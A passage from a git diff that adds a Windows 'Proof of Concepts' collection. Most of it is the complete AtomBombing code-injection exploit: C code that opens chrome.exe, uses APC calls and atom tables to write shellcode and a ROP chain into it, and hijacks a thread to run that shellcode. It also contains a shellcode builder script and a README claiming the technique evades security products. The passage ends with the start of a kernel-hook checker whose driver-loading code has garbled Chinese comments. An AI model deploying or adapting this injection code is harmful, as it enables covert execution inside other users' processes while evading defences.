tThreadEntry.th32ThreadID; + + } while (bErr = Thread32Next(hSnapshot, &tThreadEntry)); + + *ppdwThreadIds = pdwThreadIds; + *pcbThreadIdsSize = cbThreadIdsSize; + *pdwNumberOfProcessThreads = dwNumberOfMatchingThreads; + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot)) + { + CloseHandle(hSnapshot); + hSnapshot = NULL; + } + + if (ESTATUS_FAILED(eReturn)) + { + if (NULL != pdwThreadIds) + { + HeapFree(GetProcessHeap(), 0, pdwThreadIds); + pdwThreadIds = NULL; + } + } + + return eReturn; +} + +VOID main_CloseLocalHandleArray(PHANDLE phHandles, DWORD cbHandleCount) +{ + for (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++) + { + if (NULL != phHandles[dwIndex]) + { + CloseHandle(phHandles[dwIndex]); + phHandles[dwIndex] = NULL; + } + } +} + +VOID main_CloseRemoteHandleArray( + HANDLE hProcess, + PHANDLE phHandles, + DWORD cbHandleCount + ) +{ + for (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++) + { + HANDLE hTemp = NULL; + + if (NULL != phHandles[dwIndex]) + { + DuplicateHandle( + hProcess, + phHandles[dwIndex], + GetCurrentProcess(), + &hTemp, + 0, + FALSE, + DUPLICATE_CLOSE_SOURCE + ); + phHandles[dwIndex] = NULL; + } + + if (NULL != hTemp) + { + CloseHandle(hTemp); + hTemp = NULL; + } + } +} + +ESTATUS main_EnumProcessThreads( + HANDLE hProcess, + PHANDLE *pphProcessThreadsHandles, + PDWORD pcbProcessThreadsHandlesSize, + PDWORD pdwNumberOfProcessThreads + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + PDWORD pdwProcessThreadIds = NULL; + DWORD cbProcessThreadIdsSize = 0; + DWORD dwNumberOfProcessThreads = 0; + PHANDLE phProcessThreadsHandles = NULL; + + eReturn = main_EnumProcessThreadIds( + hProcess, + &pdwProcessThreadIds, + &cbProcessThreadIdsSize, + &dwNumberOfProcessThreads + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + cbProcessThreadIdsSize = dwNumberOfProcessThreads * sizeof(HANDLE); + phProcessThreadsHandles = (PHANDLE) HeapAlloc( + GetProcessHeap(), + HEAP_ZERO_MEMORY, + cbProcessThreadIdsSize + ); + if (NULL == phProcessThreadsHandles) + { + goto lblCleanup; + } + + for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++) + { + DWORD dwThreadId = pdwProcessThreadIds[dwIndex]; + + phProcessThreadsHandles[dwIndex] = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId); + if (NULL == phProcessThreadsHandles[dwIndex]) + { + eReturn = ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED; + goto lblCleanup; + } + } + + *pphProcessThreadsHandles = phProcessThreadsHandles; + *pcbProcessThreadsHandlesSize = cbProcessThreadIdsSize; + *pdwNumberOfProcessThreads = dwNumberOfProcessThreads; + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + if (NULL != pdwProcessThreadIds) + { + HeapFree(GetProcessHeap(), 0, pdwProcessThreadIds); + pdwProcessThreadIds = NULL; + } + if (ESTATUS_FAILED(eReturn)) + { + main_CloseLocalHandleArray(phProcessThreadsHandles, dwNumberOfProcessThreads); + + if (NULL != phProcessThreadsHandles) + { + HeapFree(GetProcessHeap(), 0, phProcessThreadsHandles); + phProcessThreadsHandles = NULL; + } + } + return eReturn; +} + +ESTATUS main_GetThreadContext( + HANDLE hThread, + DWORD dwContextFlags, + PCONTEXT ptContext + ) +{ + ESTATUS eReturn = ESTATUS_INVALID; + DWORD dwErr = 0; + BOOL bErr = FALSE; + CONTEXT tContext = { NULL }; + + tContext.ContextFlags = dwContextFlags; + + SuspendThread(hThread); + if (((DWORD)-1) == dwErr) + { + eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED; + goto lblCleanup; + } + + bErr = GetThreadContext(hThread, &tContext); + if (FALSE == bErr) + { + eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED; + goto lblCleanup; + } + + ResumeThread(hThread); + if (((DWORD)-1) == dwErr) + { + eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED; + goto lblCleanup; + } + + eReturn = ESTATUS_SUCCESS; + *ptContext = tContext; + +lblCleanup: + return eReturn; +} + +ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread) +{ + ESTATUS eReturn = ESTATUS_INVALID; + PHANDLE phProcessThreadsHandles = NULL; + DWORD cbProcessThreadsHandlesSize = 0; + DWORD dwNumberOfProcessThreads = 0; + BOOL bErr = FALSE; + DWORD dwErr = 0; + HANDLE hAlertableThread = 0; + PVOID pfnNtWaitForSingleObject = NULL; + PHANDLE phLocalEvents = NULL; + PHANDLE phRemoteEvents = NULL; + + eReturn = main_EnumProcessThreads( + hProcess, + &phProcessThreadsHandles, + &cbProcessThreadsHandlesSize, + &dwNumberOfProcessThreads + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++) + { + HANDLE hThread = phProcessThreadsHandles[dwIndex]; + + eReturn = main_NtQueueApcThreadWaitForSingleObjectEx( + hThread, + GetCurrentThread(), + 5000, + TRUE); + if (ESTATUS_FAILED(eReturn)) + { + continue; + } + } + + phLocalEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE)); + if (NULL == phLocalEvents) + { + eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED; + goto lblCleanup; + } + + phRemoteEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE)); + if (NULL == phRemoteEvents) + { + eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED; + goto lblCleanup; + } + + for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++) + { + HANDLE hThread = phProcessThreadsHandles[dwIndex]; + + phLocalEvents[dwIndex] = CreateEvent(NULL, TRUE, FALSE, NULL); + if (NULL == phLocalEvents[dwIndex]) + { + eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED; + goto lblCleanup; + } + + bErr = DuplicateHandle( + GetCurrentProcess(), + phLocalEvents[dwIndex], + hProcess, + &phRemoteEvents[dwIndex], + 0, + FALSE, + DUPLICATE_SAME_ACCESS + ); + if (FALSE == bErr) + { + eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED; + goto lblCleanup; + } + + eReturn = main_ApcSetEventAndKeepAlertable(hThread, phRemoteEvents[dwIndex]); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + } + + DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000); + if (WAIT_FAILED == dwWaitResult) + { + eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED; + goto lblCleanup; + } + if (WAIT_TIMEOUT == dwWaitResult) + { + eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND; + goto lblCleanup; + } + + hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0]; + + //If the thread is in an alertable state, keep it that way "forever". + eReturn = main_NtQueueApcThreadWaitForSingleObjectEx( + hAlertableThread, + GetCurrentThread(), + INFINITE, + TRUE + ); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + *phAlertableThread = hAlertableThread; + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + + main_CloseRemoteHandleArray( + hProcess, + phRemoteEvents, + dwNumberOfProcessThreads + ); + + if (NULL != phRemoteEvents) + { + HeapFree(GetProcessHeap(), 0, phRemoteEvents); + phRemoteEvents = NULL; + } + + main_CloseLocalHandleArray( + phLocalEvents, + dwNumberOfProcessThreads + ); + + if (NULL != phLocalEvents) + { + HeapFree(GetProcessHeap(), 0, phLocalEvents); + phLocalEvents = NULL; + } + + for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++) + { + PHANDLE phThread = &phProcessThreadsHandles[dwIndex]; + + if ((NULL != *phThread) && (hAlertableThread != *phThread)) + { + CloseHandle(*phThread); + *phThread = NULL; + } + } + + if (NULL != phProcessThreadsHandles) + { + HeapFree(GetProcessHeap(), 0, phProcessThreadsHandles); + phProcessThreadsHandles = NULL; + } + + return eReturn; +} + +ESTATUS main_GetThreadTebAddress(HANDLE hThread, PVOID *ppvTebAddress) +{ + ESTATUS eReturn = ESTATUS_INVALID; + CONTEXT tContext = { 0 }; + BOOL bErr = FALSE; + LDT_ENTRY tLdtEnry = { 0 }; + PVOID pvTebAddress; + + eReturn = main_GetThreadContext(hThread, CONTEXT_SEGMENTS, &tContext); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + bErr = GetThreadSelectorEntry(hThread, tContext.SegFs, &tLdtEnry); + if (FALSE == bErr) + { + eReturn = ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED; + goto lblCleanup; + } + + pvTebAddress = (PVOID)( + (tLdtEnry.BaseLow) | + (tLdtEnry.HighWord.Bytes.BaseMid << 0x10) | + (tLdtEnry.HighWord.Bytes.BaseHi << 0x18) + ); + + *ppvTebAddress = pvTebAddress; + eReturn = ESTATUS_SUCCESS; + +lblCleanup: + return eReturn; + +} + + + +int main() +{ + ESTATUS eReturn = ESTATUS_INVALID; + PVOID pvRemoteShellcodeAddress = NULL; + PVOID pvRemoteGetProcAddressLoadLibraryAddress = NULL; + PVOID pvRemoteContextAddress = NULL; + PVOID pvRemoteROPChainAddress = NULL; + CONTEXT tContext = { 0 }; + CHAR acShellcode[] = SHELLCODE; + PVOID pvCodeCave = NULL; + BOOL bErr = FALSE; + ROPCHAIN tRopChain = { 0 }; + HANDLE hProcess = NULL; + HANDLE hAlertableThread = NULL; + ATOM tAtom = 0; + printf("[*] ATOM BOMBING\n\n\n"); + + eReturn = main_OpenProcessByName(L"chrome.exe", &hProcess); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + printf("[*] Searching for an alertable thread.\n\n\n"); + eReturn = main_FindAlertableThread(hProcess, &hAlertableThread); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + printf("[*] Found an alertable thread. Handle: 0x%X.\n\n\n", hAlertableThread); + + printf("[*] Finding remote code cave.\n\n\n"); + eReturn = main_GetCodeCaveAddress(&pvCodeCave); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + printf("[*] Remote code cave found: 0x%X.\n\n\n", pvCodeCave); + + pvRemoteROPChainAddress = pvCodeCave; + pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN); + pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters); + pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8; + + printf("[*] Building ROP chain.\n\n\n"); + eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + printf("[*] Copying the addresses of LoadLibraryA and GetProcAddress to the remote process's memory address space.\n\n\n"); + eReturn = main_ApcCopyFunctionPointers(hProcess, hAlertableThread, pvRemoteGetProcAddressLoadLibraryAddress); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + *(PDWORD)(acShellcode + SHELLCODE_FUNCTION_POINTERS_OFFSET) = (DWORD)(pvRemoteGetProcAddressLoadLibraryAddress); + + printf("[*] Copying the shellcode to the target process's address space.\n\n\n"); + eReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteShellcodeAddress, acShellcode, sizeof(acShellcode)); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + + printf("[*] Copying ROP chain to the target process's address space: 0x%X.\n\n\n", pvRemoteROPChainAddress); + eReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteROPChainAddress, &tRopChain, sizeof(tRopChain)); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + + tContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory"); + tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress; + tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress; + + printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n"); + eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress); + if (ESTATUS_FAILED(eReturn)) + { + goto lblCleanup; + } + +lblCleanup: + if (NULL != hProcess) + { + CloseHandle(hProcess); + hProcess = NULL; + } + if (NULL != hAlertableThread) + { + CloseHandle(hAlertableThread); + hAlertableThread = NULL; + } + return 0; +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj new file mode 100644 index 00000000..bff551d6 --- /dev/null +++ b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj @@ -0,0 +1,61 @@ + + + + + Release + Win32 + + + + {DAD3D2B2-372F-4486-91FA-032CC0AA1133} + Win32Proj + AtomBombingShellcode + + + + Application + false + v120 + true + Unicode + + + + + + + + + + false + + + + Level3 + + + Disabled + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + false + + + Console + true + true + true + + + + + c:\python27\python.exe "$(SolutionDir)\$(ProjectName)\Scripts\Post_Link.py" "$(SolutionDir)$(Configuration)\$(ProjectName).exe" + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj.filters b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj.filters new file mode 100644 index 00000000..6827613a --- /dev/null +++ b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/Scripts/Post_Link.py b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/Scripts/Post_Link.py new file mode 100644 index 00000000..c12bb13b --- /dev/null +++ b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/Scripts/Post_Link.py @@ -0,0 +1,31 @@ +import pefile +import sys +import os + +DUMMY_FUNC = "\x55\x8b\xec\x51\xc7\x45\xfc\xbe\xba\xad\xde\x8b\xe5\x5d\xc3" + +def main(): + exe_path = sys.argv[1] + pe = pefile.PE(exe_path) + print "Starting!" + output = "" + text_section = "" + for section in pe.sections: + if ".text" in section.Name: + print (section.Name, hex(section.VirtualAddress), hex(section.Misc_VirtualSize), section.SizeOfRawData ) + text_section = pe.get_data(section.VirtualAddress, section.SizeOfRawData) + binary_shellcode = text_section[:text_section.find(DUMMY_FUNC)] + for byte in binary_shellcode: + output += "\\x%x" % ord(byte) + output = "#define SHELLCODE (\"%s\")" % output + folder, file_name = os.path.split(exe_path) + base, _ = os.path.splitext(file_name) + print os.path.join(folder, base+".h") + open(os.path.join(folder, base) + ".h", "wb").write(output) + open(os.path.join(folder, base) + ".text", "wb").write(text_section) + open(os.path.join(folder, base) + ".shellcode", "wb").write(binary_shellcode) + + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/main.c b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/main.c new file mode 100644 index 00000000..75ab40c8 --- /dev/null +++ b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/main.c @@ -0,0 +1,95 @@ +typedef void * (__stdcall *pfnLoadLibraryA)(void *lpLibFileName); +typedef void * (__stdcall *pfnGetProcAddress)(void * hModule, void * lpProcName); +typedef int(__stdcall *pfnWinExec)(void * lpCmdLine, unsigned int uCmdShow); +typedef int(__stdcall *pfnZwContinue)(void * lpContext, int TestAlert); + +typedef struct _FUNCTIONPOINTERS +{ + pfnLoadLibraryA pfnLoadLibraryA; + pfnGetProcAddress pfnGetProcAddress; +} FUNCTIONPOINTERS, *PFUNCTIONPOINTERS; + +FUNCTIONPOINTERS g_FunctionPointers; + +void shellcode_entry(); + +__declspec(naked) void fix_esp() +{ + __asm{ + mov eax, edi; + add ax, 0xc4; + mov esp, [eax]; + sub sp, 0x1024; + // This is needed for alignment purposes + nop; + nop; + nop; + } + +} + +void shellcode_entry() +{ + PFUNCTIONPOINTERS ptFunctionPointer = 0x13371337; + pfnWinExec pfnWinExec; + pfnZwContinue pfnZwContinue; + void * ptContext; + void * hKernel32; + void * hNtDll; + char pszKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' }; + char pszNtDll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' }; + char pszZwContinue[] = { 'Z','w','C','o','n','t','i','n','u','e', '\0'}; + char pszWinExec[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', '\0' }; + char pszCalcExe[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' }; + + __asm{ + mov[ptContext], edi; + } + + hKernel32 = ptFunctionPointer->pfnLoadLibraryA(pszKernel32); + if (0 == hKernel32) + { + goto lblCleanup; + } + + hNtDll = ptFunctionPointer->pfnLoadLibraryA(pszNtDll); + if (0 == hNtDll) + { + goto lblCleanup; + } + + pfnZwContinue = ptFunctionPointer->pfnGetProcAddress(hNtDll, pszZwContinue); + if (0 == pfnZwContinue) + { + goto lblCleanup; + } + + pfnWinExec = ptFunctionPointer->pfnGetProcAddress(hKernel32, pszWinExec); + if (0 == pfnWinExec) + { + goto lblCleanup; + } + + pfnWinExec(pszCalcExe, 0); + + pfnZwContinue(ptContext, 1); + +lblCleanup: + return; +} + +void dummy() +{ + int dummy = 0xDEADBABE; +} + +#include + +int main() +{ + g_FunctionPointers.pfnGetProcAddress = GetProcAddress; + g_FunctionPointers.pfnLoadLibraryA = LoadLibraryA; + fix_esp(); + shellcode_entry(); + dummy(); +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/AtomBombingInjection/README.md b/Win32/Proof of Concepts/AtomBombingInjection/README.md new file mode 100644 index 00000000..77b35d67 --- /dev/null +++ b/Win32/Proof of Concepts/AtomBombingInjection/README.md @@ -0,0 +1,2 @@ +# atom-bombing +Here’s a new code injection technique, dubbed AtomBombing, which exploits Windows atom tables and Async Procedure Calls (APC). Currently, this technique goes undetected by common security solutions that focus on preventing infiltration. diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook.sln b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook.sln new file mode 100644 index 00000000..3abf5195 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CheckKernelHook", "CheckKernelHook\CheckKernelHook.vcxproj", "{D49C7CB9-A5C2-4377-A234-7C440407A30E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D49C7CB9-A5C2-4377-A234-7C440407A30E}.Debug|Win32.ActiveCfg = Debug|Win32 + {D49C7CB9-A5C2-4377-A234-7C440407A30E}.Debug|Win32.Build.0 = Debug|Win32 + {D49C7CB9-A5C2-4377-A234-7C440407A30E}.Release|Win32.ActiveCfg = Release|Win32 + {D49C7CB9-A5C2-4377-A234-7C440407A30E}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.cpp b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.cpp new file mode 100644 index 00000000..00009fc8 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.cpp @@ -0,0 +1,114 @@ +#include "AddService.h" +#include "stdafx.h" +#include "CheckKernelHookDlg.h" +#include +#pragma once + + +BOOL Release(){ + // HRSRC res = FindResource(NULL,MAKEINTRESOURCE(IDR_SYS),TEXT("BINARY")); + // if(!res) + // return FALSE; + // HGLOBAL resGlobal = LoadResource(NULL,res); + // if(!resGlobal) + // return FALSE; + // DWORD size=SizeofResource(NULL,res); + // BYTE* ptr=(BYTE*)LockResource(resGlobal); + // if(!ptr) + // return FALSE; + HANDLE hFile=CreateFile(TEXT("ReloadKernel.sys"), GENERIC_WRITE, + 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if(hFile==INVALID_HANDLE_VALUE) + return FALSE; + DWORD dw; + // if(!WriteFile(hFile,ptr,size,&dw,NULL)){ + // CloseHandle(hFile); + // return FALSE; + // } + CloseHandle(hFile); + return TRUE; +} + + + + +BOOL UnloadDrv(TCHAR* DriverName){ + SC_HANDLE hSCManager; + SC_HANDLE hService; + SERVICE_STATUS ss; + + + hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (!hSCManager){ + return FALSE; + } + + + hService = OpenService( hSCManager,DriverName,SERVICE_ALL_ACCESS); + if( !hService ) { + CloseServiceHandle(hSCManager); + return FALSE; + } + + ControlService(hService, SERVICE_CONTROL_STOP, &ss); + DeleteService(hService); + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return TRUE; +} + + + +BOOL LoadDrv(TCHAR* DriverName){ + TCHAR DrvFullPathName[MAX_PATH]; + SC_HANDLE schSCManager; + SC_HANDLE schService; + UnloadDrv(L"CheckKernelHook"); + // if(!Release()) + // return FALSE; + GetFullPathName(TEXT("CheckKernelHook.sys"), MAX_PATH, DrvFullPathName, NULL); + schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (!schSCManager) + return FALSE; + + + schService = CreateService( + schSCManager,DriverName,DriverName, + SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, + SERVICE_DEMAND_START, + SERVICE_ERROR_NORMAL, + DrvFullPathName, + NULL,NULL,NULL,NULL,NULL + ); + + + if (!schService){ + if (GetLastError() == ERROR_SERVICE_EXISTS){ + schService = OpenService(schSCManager,DriverName,SERVICE_ALL_ACCESS); + if (!schService){ + CloseServiceHandle(schSCManager); + return FALSE; + } + }else{ + CloseServiceHandle(schSCManager); + return FALSE; + } + } + + + if (!StartService(schService,0,NULL)){ + if ( !(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING ) ){ + CloseServiceHandle(schService); + CloseServiceHandle(schSCManager); + return FALSE; + } + } + + + CloseServiceHandle(schService); + CloseServiceHandle(schSCManager); + return TRUE; +} + + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.h new file mode 100644 index 00000000..2825da08 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.h @@ -0,0 +1,5 @@ +#include "stdafx.h" + +BOOL Release(); +BOOL UnloadDrv(TCHAR* DriverName); +BOOL LoadDrv(TCHAR* DriverName); \ No newline at end of file diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.aps b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.aps new file mode 100644 index 00000000..22878487 Binary files /dev/null and b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.aps differ diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.cpp b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.cpp new file mode 100644 index 00000000..93c3fbf1 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.cpp @@ -0,0 +1,94 @@ + +// CheckKernelHook.cpp : ¶¨ŇĺÓ¦ÓĂłĚĐňµÄŔŕĐĐÎŞˇŁ +// + +#include "stdafx.h" +#include "CheckKernelHook.h" +#include "CheckKernelHookDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + + +// CCheckKernelHookApp + +BEGIN_MESSAGE_MAP(CCheckKernelHookApp, CWinApp) + ON_COMMAND(ID_HELP, &CWinApp::OnHelp) +END_MESSAGE_MAP() + + +// CCheckKernelHookApp ąąÔě + +CCheckKernelHookApp::CCheckKernelHookApp() +{ + // Ö§łÖÖŘĐÂĆô¶ŻąÜŔíĆ÷ + m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART; + + // TODO: ÔÚ´Ë´¦ĚíĽÓąąÔě´úÂ룬 + // ˝«ËůÓĐÖŘŇŞµÄłőĘĽ»Ż·ĹÖĂÔÚ InitInstance ÖĐ +} + + +// ΨһµÄŇ»¸ö CCheckKernelHookApp ¶ÔĎó + +CCheckKernelHookApp theApp; + + +// CCheckKernelHookApp łőĘĽ»Ż + +BOOL CCheckKernelHookApp::InitInstance() +{ + // ČçąűŇ»¸öÔËĐĐÔÚ Windows XP ÉϵÄÓ¦ÓĂłĚĐňÇ嵥ָ¶¨ŇŞ + // ĘąÓĂ ComCtl32.dll °ć±ľ 6 »ň¸ü¸ß°ć±ľŔ´ĆôÓĂżÉĘÓ»Ż·˝Ę˝Ł¬ + //ÔňĐčŇŞ InitCommonControlsEx()ˇŁ·ńÔňŁ¬˝«ÎŢ·¨´´˝¨´°żÚˇŁ + INITCOMMONCONTROLSEX InitCtrls; + InitCtrls.dwSize = sizeof(InitCtrls); + // ˝«ËüÉčÖĂÎŞ°üŔ¨ËůÓĐŇŞÔÚÓ¦ÓĂłĚĐňÖĐĘąÓĂµÄ + // ą«ą˛żŘĽţŔࡣ + InitCtrls.dwICC = ICC_WIN95_CLASSES; + InitCommonControlsEx(&InitCtrls); + + CWinApp::InitInstance(); + + + AfxEnableControlContainer(); + + // ´´˝¨ shell ąÜŔíĆ÷Ł¬ŇÔ·Ŕ¶Ô»°żň°üş¬ + // ČκΠshell Ę÷ĘÓÍĽżŘĽţ»ň shell ÁбíĘÓÍĽżŘĽţˇŁ + CShellManager *pShellManager = new CShellManager; + + // ±ę׼łőĘĽ»Ż + // ČçąűδʹÓĂŐâĐ©ą¦Äܲ˘ĎŁÍűĽőС + // ×îÖŐżÉÖ´ĐĐÎÄĽţµÄ´óСŁ¬ÔňÓ¦ŇĆłýĎÂÁĐ + // ˛»ĐčŇŞµÄĚض¨łőĘĽ»ŻŔýłĚ + // ¸ü¸ÄÓĂÓÚ´ć´˘ÉčÖõÄע˛á±íĎî + // TODO: Ó¦Ęʵ±Đ޸ĸĂ×Ö·ű´®Ł¬ + // ŔýČçĐ޸ÄÎŞą«Ëľ»ň×éÖŻĂű + SetRegistryKey(_T("Ó¦ÓĂłĚĐňĎňµĽÉúłÉµÄ±ľµŘÓ¦ÓĂłĚĐň")); + + CCheckKernelHookDlg dlg; + m_pMainWnd = &dlg; + INT_PTR nResponse = dlg.DoModal(); + if (nResponse == IDOK) + { + // TODO: ÔÚ´Ë·ĹÖĂ´¦ŔíşÎʱÓĂ + // ˇ°Č·¶¨ˇ±Ŕ´ąŘ±Ő¶Ô»°żňµÄ´úÂë + } + else if (nResponse == IDCANCEL) + { + // TODO: ÔÚ´Ë·ĹÖĂ´¦ŔíşÎʱÓĂ + // ˇ°ČˇĎűˇ±Ŕ´ąŘ±Ő¶Ô»°żňµÄ´úÂë + } + + // ÉľłýÉĎĂć´´˝¨µÄ shell ąÜŔíĆ÷ˇŁ + if (pShellManager != NULL) + { + delete pShellManager; + } + + // ÓÉÓÚ¶Ô»°żňŇѹرգ¬ËůŇÔ˝«·µ»Ř FALSE 